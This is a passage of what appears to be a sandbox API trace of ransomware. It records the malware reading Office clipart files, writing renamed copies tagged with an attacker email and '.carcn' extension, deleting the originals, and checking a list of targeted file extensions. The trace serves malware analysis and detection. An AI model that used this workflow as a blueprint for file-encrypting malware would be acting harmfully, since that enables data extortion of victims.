dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.290] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.291] GetLastError () returned 0x0 [0310.291] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x258c, lpOverlapped=0x0) returned 1 [0310.293] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2590, lpOverlapped=0x0) returned 1 [0310.294] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.294] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.294] SetEndOfFile (hFile=0x37c) returned 1 [0310.295] CloseHandle (hObject=0x37c) returned 1 [0310.295] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.295] SetEndOfFile (hFile=0x334) returned 1 [0310.296] CloseHandle (hObject=0x334) returned 1 [0310.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0310.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0310.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0310.298] lstrlenW (lpString=".doc") returned 4 [0310.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.298] lstrlenW (lpString=".docx") returned 5 [0310.298] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.298] lstrlenW (lpString=".pdf") returned 4 [0310.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.298] lstrlenW (lpString=".xls") returned 4 [0310.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.298] lstrlenW (lpString=".xlsx") returned 5 [0310.298] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.298] lstrlenW (lpString=".ppt") returned 4 [0310.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0310.298] lstrlenW (lpString=".zip") returned 4 [0310.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.298] lstrlenW (lpString=".rar") returned 4 [0310.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.298] lstrlenW (lpString=".bz2") returned 4 [0310.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.299] lstrlenW (lpString=".7z") returned 3 [0310.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0310.299] lstrlenW (lpString=".dbf") returned 4 [0310.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0310.299] lstrlenW (lpString=".1cd") returned 4 [0310.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0310.299] lstrlenW (lpString=".jpg") returned 4 [0310.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.299] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.299] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.300] GetLastError () returned 0x0 [0310.301] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1788, lpOverlapped=0x0) returned 1 [0310.306] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1790, lpOverlapped=0x0) returned 1 [0310.328] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.328] WriteFile (in: hFile=0x37c, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.329] SetEndOfFile (hFile=0x37c) returned 1 [0310.329] CloseHandle (hObject=0x37c) returned 1 [0310.331] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.331] SetEndOfFile (hFile=0x334) returned 1 [0310.341] CloseHandle (hObject=0x334) returned 1 [0310.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0310.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0310.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0310.343] lstrlenW (lpString=".doc") returned 4 [0310.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.344] lstrlenW (lpString=".docx") returned 5 [0310.344] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0310.344] lstrlenW (lpString=".pdf") returned 4 [0310.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.345] lstrlenW (lpString=".xls") returned 4 [0310.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.346] lstrlenW (lpString=".xlsx") returned 5 [0310.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0310.347] lstrlenW (lpString=".ppt") returned 4 [0310.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0310.347] lstrlenW (lpString=".zip") returned 4 [0310.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.347] lstrlenW (lpString=".rar") returned 4 [0310.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.347] lstrlenW (lpString=".bz2") returned 4 [0310.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.347] lstrlenW (lpString=".7z") returned 3 [0310.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0310.347] lstrlenW (lpString=".dbf") returned 4 [0310.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0310.347] lstrlenW (lpString=".1cd") returned 4 [0310.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0310.347] lstrlenW (lpString=".jpg") returned 4 [0310.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.349] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.349] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0310.353] GetLastError () returned 0x0 [0310.353] ReadFile (in: hFile=0x318, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1f40, lpOverlapped=0x0) returned 1 [0310.384] WriteFile (in: hFile=0x384, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1f50, lpOverlapped=0x0) returned 1 [0310.385] ReadFile (in: hFile=0x318, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.385] WriteFile (in: hFile=0x384, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.385] SetEndOfFile (hFile=0x384) returned 1 [0310.386] CloseHandle (hObject=0x384) returned 1 [0310.386] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.386] SetEndOfFile (hFile=0x318) returned 1 [0310.387] CloseHandle (hObject=0x318) returned 1 [0310.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0310.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0310.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0310.390] lstrlenW (lpString=".doc") returned 4 [0310.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.390] lstrlenW (lpString=".docx") returned 5 [0310.390] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.390] lstrlenW (lpString=".pdf") returned 4 [0310.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.390] lstrlenW (lpString=".xls") returned 4 [0310.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.390] lstrlenW (lpString=".xlsx") returned 5 [0310.391] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.391] lstrlenW (lpString=".ppt") returned 4 [0310.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0310.391] lstrlenW (lpString=".zip") returned 4 [0310.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.391] lstrlenW (lpString=".rar") returned 4 [0310.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.391] lstrlenW (lpString=".bz2") returned 4 [0310.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.391] lstrlenW (lpString=".7z") returned 3 [0310.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0310.391] lstrlenW (lpString=".dbf") returned 4 [0310.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0310.391] lstrlenW (lpString=".1cd") returned 4 [0310.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68 [0310.391] lstrlenW (lpString=".jpg") returned 4 [0310.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.392] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.392] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0310.397] GetLastError () returned 0x0 [0310.397] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1918, lpOverlapped=0x0) returned 1 [0310.411] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1920, lpOverlapped=0x0) returned 1 [0310.413] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.413] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.413] SetEndOfFile (hFile=0x324) returned 1 [0310.413] CloseHandle (hObject=0x324) returned 1 [0310.413] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.413] SetEndOfFile (hFile=0x384) returned 1 [0310.414] CloseHandle (hObject=0x384) returned 1 [0310.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0310.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0310.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0310.415] lstrlenW (lpString=".doc") returned 4 [0310.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString=".docx") returned 5 [0310.416] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.416] lstrlenW (lpString=".pdf") returned 4 [0310.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString=".xls") returned 4 [0310.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.416] lstrlenW (lpString=".xlsx") returned 5 [0310.416] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.416] lstrlenW (lpString=".ppt") returned 4 [0310.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0310.416] lstrlenW (lpString=".zip") returned 4 [0310.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.416] lstrlenW (lpString=".rar") returned 4 [0310.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString=".bz2") returned 4 [0310.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString=".7z") returned 3 [0310.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0310.416] lstrlenW (lpString=".dbf") returned 4 [0310.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0310.416] lstrlenW (lpString=".1cd") returned 4 [0310.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0310.416] lstrlenW (lpString=".jpg") returned 4 [0310.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.417] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.417] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0310.418] GetLastError () returned 0x0 [0310.418] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2a54, lpOverlapped=0x0) returned 1 [0310.437] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0310.438] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.438] WriteFile (in: hFile=0x324, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.438] SetEndOfFile (hFile=0x324) returned 1 [0310.438] CloseHandle (hObject=0x324) returned 1 [0310.438] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.438] SetEndOfFile (hFile=0x384) returned 1 [0310.439] CloseHandle (hObject=0x384) returned 1 [0310.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0310.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0310.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0310.443] lstrlenW (lpString=".doc") returned 4 [0310.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.443] lstrlenW (lpString=".docx") returned 5 [0310.443] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.443] lstrlenW (lpString=".pdf") returned 4 [0310.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.443] lstrlenW (lpString=".xls") returned 4 [0310.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.443] lstrlenW (lpString=".xlsx") returned 5 [0310.443] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.443] lstrlenW (lpString=".ppt") returned 4 [0310.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0310.443] lstrlenW (lpString=".zip") returned 4 [0310.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.443] lstrlenW (lpString=".rar") returned 4 [0310.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.443] lstrlenW (lpString=".bz2") returned 4 [0310.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.444] lstrlenW (lpString=".7z") returned 3 [0310.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0310.444] lstrlenW (lpString=".dbf") returned 4 [0310.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0310.444] lstrlenW (lpString=".1cd") returned 4 [0310.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68 [0310.444] lstrlenW (lpString=".jpg") returned 4 [0310.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.447] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.447] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0310.449] GetLastError () returned 0x0 [0310.449] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x36b8, lpOverlapped=0x0) returned 1 [0310.462] WriteFile (in: hFile=0x318, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x36c0, lpOverlapped=0x0) returned 1 [0310.463] ReadFile (in: hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.464] WriteFile (in: hFile=0x318, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.464] SetEndOfFile (hFile=0x318) returned 1 [0310.464] CloseHandle (hObject=0x318) returned 1 [0310.464] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.464] SetEndOfFile (hFile=0x384) returned 1 [0310.465] CloseHandle (hObject=0x384) returned 1 [0310.465] SetFileAttributesW 